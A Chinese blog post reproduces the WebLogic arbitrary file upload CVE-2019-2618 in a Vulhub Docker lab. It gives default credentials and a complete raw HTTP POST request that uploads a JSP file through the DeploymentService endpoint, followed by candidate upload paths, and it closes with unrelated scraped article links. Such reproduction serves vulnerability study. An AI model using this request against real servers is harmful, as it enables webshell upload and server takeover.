WebLogic任意文件上传漏洞(CVE-2019-2618)
WebLogic任意文件上传漏洞(CVE-2019-2618)
0x01 漏洞描述
漏洞介绍
CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
影响版本
WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
0x01 搭建漏洞环境
利用Vulhub里的weblogic/CVE-2017-10271
的weblogic版本作为漏洞环境,启动命令为:
docker-compose up -d
等待一段时间,访问http://your-ip:7001/
即可看到一个404页面,说明weblogic已成功启动。
我们可以先进入容器内部
[root@localhost CVE-2017-10271]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dc73ec08c629 vulhub/weblogic "startWebLogic.sh" 13 minutes ago Up 13 minutes 5556/tcp, 0.0.0.0:7001->7001/tcp cve-2017-10271_weblogic_1_e0c10faa85da
[root@localhost CVE-2017-10271]# docker exec -it dc73ec08c629 /bin/bash
root@dc73ec08c629:~/Oracle/Middleware#
0x02 漏洞复现
漏洞前提是需要先获取weblogic
的账号密码。可以爆破密码或者尝试默认账号密码(比较鸡肋)
weblogic/weblogic
weblogic/Oracle@123
POC为:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 172.16.200.221:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
serverName: zhengjim
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 238
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false
<%
out.print("123456");
%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
发送数据包 ,返回了上传文件的地址
去访问发现执行成功
复现成功
上传目录可以多尝试几个
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_deployment_internal.war
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/bea_wls_internal.war 这是上传的路径
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_deployment_internal
bea_wls_internal
bea_wls_deployment_internal 在同目录
这是漏洞war位置
漏洞修复
Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞
参考文献
- https://github.com/jas502n/cve-2019-2618
- http://sec.sangfor.com.cn/events/229.html
- https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
WebLogic任意文件上传漏洞(CVE-2019-2618)的更多相关文章
- 13.Weblogic任意文件上传漏洞(CVE-2018-2894)复现
Weblogic任意文件上传漏洞(CVE-2018-2894)复现 漏洞背景 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.两个页面分别为/ws_utc/be ...
- Weblogic任意文件上传漏洞(CVE-2018-2894)复现
使用docker搭建漏洞测试环境 micr067@test:~/vulhub/weblogic/CVE-2018-2894$ sudo docker-compose build weblogic us ...
- WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】
CVE-2018-2894 漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3 下载地址:http://download.oracle.com/otn/nt/m ...
- WebLogic任意文件上传漏洞(CVE-2019-2725)
一,漏洞介绍 1.1漏洞简介 Oracle weblogic反序列化远程命令执行漏洞,是根据weblogic的xmldecoder反序列化漏洞,只是通过构造巧妙的利用链可以对Oracle官方历年来针对 ...
- WebLogic 任意文件上传 远程代码执行漏洞 (CVE-2018-2894)------->>>任意文件上传检测POC
前言: Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中针对可造成远程代码执行的高危漏洞 CVE-2018-2894 进行修复: http://ww ...
- WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)
0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...
- WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现
WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现 一.漏洞描述 Weblogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.Oracle 7月 ...
- CVE-2019-2618任意文件上传漏洞复现
CVE-2019-2618任意文件上传漏洞复现 漏洞介绍: 近期在内网扫描出不少CVE-2019-2618漏洞,需要复测,自己先搭个环境测试,复现下利用过程,该漏洞主要是利用了WebLogic组件中的 ...
- WordPress Contact Form 7插件任意文件上传漏洞
漏洞名称: WordPress Contact Form 7插件任意文件上传漏洞 CNNVD编号: CNNVD-201311-415 发布时间: 2013-11-28 更新时间: 2013-11-28 ...
随机推荐
- 批处理中setlocal enabledelayedexpansion的作用详细整理
转自:https://www.jb51.net/article/29323.htm 设置本地为延迟扩展.其实也就是:延迟变量,全称延迟环境变量扩展, 想进阶,变量延迟是必过的一关!所以这一部分希望你能 ...
- dial tcp 10.96.0.1:443: getsockopt: no route to host --- kubernetes(k8s)DNS 服务反复重启
kubernetes(k8s)DNS 服务反复重启解决: k8s.io/dns/pkg/dns/dns.go:150: Failed to list *v1.Service: Get https:// ...
- sqlcode与sqlerrm的区别
sqlCode:是数据库操作的返回码,其中0--成功:-1--失败:100--没有检索到数据. sqlerrm:是数返回指定错误代码的错误信息. 在一个内在的异常中,SQLCODE返回Oracle错误 ...
- mapreduce 函数入门 二
m apreduce三大组件:Combiner\Sort\Partitioner 默认组件:排序,分区(不设置,系统有默认值) 一.mapreduce中的Combiner 1.什么是combiner ...
- 25个强大的CSS代码,据说这些是开发者经常遇到比较棘手的代码
这些代码是经常用到的,比方说一些特殊的效果,圆角边框,CSS透明度,梯形环绕,CSS小三角等,希望对你有用 1简单又好的 Blockquote 样式 CSS代码如下 blockquote { back ...
- python字符串的拼接
方式一:使用"+"拼接(拼接字符串较多时会影响拼接效率) 方式二:使用","拼接(只能用于print打印,赋值操作会生成元组) 方式三:使用"%&qu ...
- 当Windows操作系统关机时,不会执行Windows Service的OnStop方法(转载)
Windows Service OnStop when computer shutdown 问: I'm writing a Windows Service in C#. I want to take ...
- JVM故障分析系列之四:jstack生成的Thread Dump日志线程状态
JVM故障分析系列之四:jstack生成的Thread Dump日志线程状态 2017年10月25日 Jet Ma JavaPlatform JVM故障分析系列系列文章 JVM故障分析系列之一: ...
- springboot maven项目转gradle的完整方法
1.maven转gradle的方法:在项目根目录下,使用命令行工具,输入如下内容: gradle init --type.pom 2.springboot项目的 build.gradle内容示例如下( ...
- python自动备份阿里云数据库binlog
#coding:utf8from aliyunsdkcore import clientfrom aliyunsdkrds.request.v20140815 import DescribeBacku ...